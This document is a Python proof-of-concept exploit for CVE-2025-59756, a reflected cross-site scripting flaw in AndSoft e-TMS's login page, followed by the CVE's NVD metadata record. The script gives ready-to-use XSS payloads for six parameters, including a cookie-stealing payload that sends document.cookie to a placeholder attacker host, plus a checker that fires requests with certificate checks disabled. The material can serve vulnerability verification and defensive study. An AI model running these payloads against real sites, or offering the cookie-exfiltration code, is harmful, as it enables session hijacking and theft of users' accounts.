CVE-2025-59756

# CVE-2025-59756 - AndSoft e-TMS Reflected XSS PoC # Vulnerable endpoint: /clt/LOGINFRM_CON.ASP # Vulnerable parameters: l, demo, demo2, TNTLOGIN, UO, SuppConn import requests TARGET_URL = "https://target.example.com/clt/LOGINFRM_CON.ASP" # PoC 1: XSS via 'SuppConn' parameter PAYLOAD_1 = ""><script>alert('XSS-CVE-2025-59756')</script>" url_1 = f"{TARGET_URL}?SuppConn={PAYLOAD_1}" # PoC 2: XSS via 'l' parameter PAYLOAD_2 = "<img src=x onerror=alert(document.domain)>" url_2 = f"{TARGET_URL}?l={PAYLOAD_2}" # PoC 3: XSS via 'demo' parameter with cookie stealing STEALER_HOST = "https://attacker.example.com/steal" PAYLOAD_3 = f"<script>fetch('{STEALER_HOST}?c='+document.cookie)</script>" url_3 = f"{TARGET_URL}?demo={PAYLOAD_3}" # PoC 4: XSS via 'TNTLOGIN' parameter PAYLOAD_4 = "<svg/onload=alert('XSS')>" url_4 = f"{TARGET_URL}?TNTLOGIN={PAYLOAD_4}" # PoC 5: XSS via 'UO' parameter PAYLOAD_5 = "javascript:alert('XSS-CVE-2025-59756')" url_5 = f"{TARGET_URL}?UO={PAYLOAD_5}" # PoC 6: XSS via 'demo2' parameter PAYLOAD_6 = "'-alert('XSS')-'" url_6 = f"{TARGET_URL}?demo2={PAYLOAD_6}" def verify_xss(url, payload_name): """Send request and check if payload is reflected without sanitization""" try: response = requests.get(url, timeout=10, verify=False) if payload_name in response.text: print(f"[+] VULNERABLE: Payload '{payload_name}' reflected in response") print(f" URL: {url}") return True else: print(f"[-] NOT VULNERABLE: Payload '{payload_name}' not reflected") return False except Exception as e: print(f"[!] ERROR: {e}") return False if __name__ == "__main__": print("=== CVE-2025-59756 XSS Vulnerability Checker ===") print(f"Target: {TARGET_URL}\n") verify_xss(url_1, "alert('XSS-CVE-2025-59756')") verify_xss(url_2, "onerror=alert") verify_xss(url_4, "alert('XSS')") print("\n[!] WARNING: Only use this PoC for authorized security testing!")

{"cve": {"id": "CVE-2025-59756", "sourceIdentifier": "[email protected]", "published": "2025-10-02T15:15:55.777", "lastModified": "2025-10-02T19:54:14.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting (XSS) vulnerability reflected in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by sending them a malicious URL. The relationship between parameter and assigned identifier is 'l, demo, demo2, TNTLOGIN, UO and SuppConn' parameters in 'SuppConn in /clt/LOGINFRM_CON.ASP'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:*", "matchCriteriaId": "DA9BDB99-4B85-46EF-A8EA-B0E7B1DCF276"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/update-24092025-multiple-vulnerabilities-andsofts-e-tms", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}